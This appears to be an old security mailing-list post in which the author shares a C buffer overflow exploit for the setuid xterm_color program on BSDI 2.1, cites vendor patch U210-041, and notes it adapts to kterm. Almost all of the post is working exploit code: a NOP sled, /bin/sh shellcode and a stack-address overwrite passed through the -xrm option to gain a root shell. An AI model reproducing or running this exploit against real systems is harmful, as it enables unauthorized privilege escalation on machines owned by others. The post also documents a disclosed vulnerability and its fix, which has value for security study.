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- Hi,
- try this exploit, it works on BSDI 2.1 and I think that it works
- in older versions too.
- The patch from BSDI which fixes security problems with X11 library
- on BSDI 2.1 has number U210-041.
-
- This exploit is based on exploit of bug in Linux - color_xterm
- which was here some time ago.
-
- bye
- pukvis
-
- PS: exploit of kterm is the same, but you must rewrite paths.
-
- - --- here is xterm_color expoit ---
-
- /*
-
- xterm_color buffer overflow exploit for BsDi ... tested on BsDi 2.1
-
- pukvis
-
- */
-
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <fcntl.h>
-
- #define XTERM_COLOR_PATH "/usr/X11R6/bin/xterm_color"
- #define BUFFER_SIZE 1024
- #define DEFAULT_OFFSET 50
-
- #define NOP_SIZE 1
- char nop[] = "\x90";
- char shellcode[] =
- "\xeb\x23"
- "\x5e"
- "\x8d\x1e"
- "\x89\x5e\x0b"
- "\x31\xd2"
- "\x89\x56\x07"
- "\x89\x56\x0f"
- "\x89\x56\x14"
- "\x88\x56\x19"
- "\x31\xc0"
- "\xb0\x3b"
- "\x8d\x4e\x0b"
- "\x89\xca"
- "\x52"
- "\x51"
- "\x53"
- "\x50"
- "\xeb\x18"
- "\xe8\xd8\xff\xff\xff"
- "/bin/sh"
- "\x01\x01\x01\x01"
- "\x02\x02\x02\x02"
- "\x03\x03\x03\x03"
- "\x9a\x04\x04\x04\x04\x07\x04";
-
- unsigned long get_sp(void) {
- __asm__("movl %esp,%eax");
- }
-
- void main(int argc,char **argv)
- {
- char *buff = NULL;
- unsigned long *addr_ptr = NULL;
- char *ptr = NULL;
- int i,OffSet = DEFAULT_OFFSET;
-
- if (argc>1) OffSet = atoi(argv[1]);
-
- buff = malloc(2048);
- if(!buff)
- {
- printf("mA1o pJaMJeti !!!\n");
- exit(0);
- }
- ptr = buff;
-
- for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
- i+=NOP_SIZE) {
- memcpy (ptr,nop,NOP_SIZE);
- ptr+=NOP_SIZE;
- }
-
- for(i=0;i < strlen(shellcode);i++)
- *(ptr++) = shellcode[i];
-
- addr_ptr = (long *)ptr;
- for(i=0;i < (8/4);i++)
- *(addr_ptr++) = get_sp() + OffSet;
- ptr = (char *)addr_ptr;
- *ptr = 0;
- (void) fprintf(stderr,
- "try if it goes - check your id\n");
- execl(XTERM_COLOR_PATH, "xterm_color", "-xrm",buff, NULL);
- }
-
- - --- end of xterm_color exploit ---
-